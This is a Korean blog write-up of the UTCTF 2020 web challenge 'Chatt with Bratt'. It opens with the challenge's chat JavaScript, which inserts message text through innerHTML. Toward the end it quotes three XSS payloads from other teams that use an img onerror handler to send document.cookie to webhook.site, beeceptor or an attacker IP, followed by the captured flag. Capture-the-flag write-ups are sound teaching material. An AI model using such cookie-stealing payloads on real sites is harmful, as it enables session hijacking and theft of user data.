<script>
function addMessage(content, name) {
const messageBody = document.getElementById('message-body');
const card = document.createElement("div");
card.className = "card";
const cardHeader = document.createElement("div");
cardHeader.className = "card-header";
const strongName = document.createElement("strong");
strongName.innerHTML = name;
cardHeader.appendChild(strongName);
card.appendChild(cardHeader);
const cardBody = document.createElement("div");
cardBody.className = "card-body";
const cardText = document.createElement("p");
cardText.className = "card-text";
cardText.innerHTML = content;
cardBody.appendChild(cardText);
card.appendChild(cardBody);
messageBody.appendChild(card);
return;
}
</script>
<script>
function showMessages(data) {
const messageBody = document.getElementById('message-body');
if (data.Messages.length == messageBody.children.length) {
return;
}
const sortedMessages = data.Messages.sort((a, b) => b.Msg_Sent - a.Msg_Sent)
messageBody.textContent = '';
sortedMessages.forEach(message => {
const name = message.User_ID == 1 ? "Anon" : "Bratt Pid";
addMessage(message.Content, name);
});
}
</script>
<script>
function loadMessages() {
fetch('/messages')
.then((response) => {
return response.json();
})
.then((data) => {
showMessages(data);
});
setTimeout(loadMessages, 10000);
}
</script>
<script>
function sendMessage() {
const message = document.getElementById('message');
if (message.value === "") {
return false;
}
addMessage(message.value, "Anon");
const data = {content: message.value}
fetch('/chatt', {
method: 'POST',
body: JSON.stringify(data)
});
message.value = "";
return true;
}
</script>
라업을 쓰려고 보니 이미 죽어있어서 캡쳐를 못 떴다. 풀이 기록용으로 미리 써둔 문서를 먼저 사용하고 다른 사람의 라업을 참고해서 마무리 짓겠다. 'Bratt Pid'라는 스타와 1:1 채팅을 할 수 있다는 가정 아래 플래그를 얻으면 된다.
flag를 물어봤더니 agent한테 물어보라고 한다. 그래서 코드를 바꿔봤다.
네모 친 부분이 Bratt Pid 였던 것 같다. agent로 바꾸고 다시 flag를 물어봤다.
알 수 없는 문자열을 얻었는데 뭔가 의미있어 보여서 좋아했었다.. 물론 저게 플래그는 아니다. 또 몇 개 물어보는데 개발자가 나에게 더 많은 것을 답할 수 있게 했으면 좋았을 거라고 해서 메시지에 붙는 value를 Anon에서 creator로 바꿨다. admin으로도 바꿔봤다(의미 없는 것 같다).
그리고 당연히 우연이겠지만 저 위 설정을 끝낸 바로 다음 랜덤 답변이 PID에 관한 거였다.
그래서 뭐 찾아보다가 이런 걸 발견해서 이것저것 시도해봤지만 실패했다: http://www.iwav.co.kr/198
Anon-Bratt Pid에서 admin-agent로 바꾸고 ls도 해봤지만 안된다고 한다.
여기까지가 내 뻘짓이었다. 라업을 보니 XSS, 쿠키 쪽이던데 채팅창이면 당연히 XSS를 떠올릴 만한데 왜 안그랬는지 나도 모르겠다....
일단 img 태그의 onerror를 사용해 쉽게 XSS 취약점을 이용할 수 있는 문제였는데 스크립트를 바로 입력할 수 있는 창, 특히 채팅 형식이면 바로 XSS가 생각났어야 했다.. 쿠키는 chat_id와 secret이라는 쿠키가 2개 있었고 그 중 secret 쿠키에 Bratt 측의 플래그가 있다. 라업을 참고한 SinHack Team은 다음 코드로 XSS 취약점을 이용해 쿠키값을 얻어냈다: https://github.com/SinHackTeam/writeup/blob/master/UTCTF%202020/Web/Chatt_with_Bratt-volken-writeup.pdf
쿠키 secret은 none값이다. 이를 통해 Bratt의 쿠키가 secret이고, 이 창에서는 알아낼 수 없으니 다른 방법을 통해 우회해서 쿠키값을 알아내는 게 우리의 목표라고 방향을 대강 잡을 수 있다.
이제 secret 값을 얻어보자. 먼저 원래 생성된 쿠키를 모두 삭제하고 리프레시한다. 그 후 페이로드를 보낼 것이다. 역시 img 태그, onerror를 사용하면된다.
다음은 페이로드의 예시이다. 모두 CTFtime.org의 라업에서 가져왔다.
-Root Lee
<img
src="http://url.to.file.which/not.exist"
onerror="fetch(
'https://webhook.site/#!/81f7d094-c908-465d-a571-ad47582fd6c6', {
method:'POST',
body: JSON.stringify({data:document.cookie})
}
);">
-Bullsoc
"content":"<img src=\"foo.png\" onerror=\"document.location='http://xxx.xxx.xxx.xxx:1337?c='+document.cookie;\" />"
-SinHack
<img src="x" onerror="fetch('https://volken.free.beeceptor.com/?cookie='+btoa(document.cookie))">
onerror 옵션에서 접속시킬 웹페지는 WebHook을 많이 이용하는 것 같다: https://webhook.site/#!/bbe8f081-c41f-43ab-a547-776d97425bf5
이렇다고 한다.
이렇게 페이로드를 작성하고 해당 웹페이지로 쏠 수 있게 한 후 secret 쿠키값을 보면 아래와 같이 나온다고 한다.
Bratt 측의 쿠키인 secret 값이고 base64 인코딩 되어있다. 디코딩하면!
utflag{95debad95cfb106081f33ceadc36bf9c}
'Wargame > CTF' 카테고리의 다른 글
RACTF 2020: Dimensionless Loading, Disk Forensics Fun (0) | 2020.06.13 |
---|---|
IOLI crackme 0x00 ~ 0x05 (0) | 2020.04.19 |
2020 AUCTF (2) | 2020.04.11 |
Codegate 2020 (1) | 2020.04.02 |
UTCTF 2020 Zero: Write Up (0) | 2020.03.10 |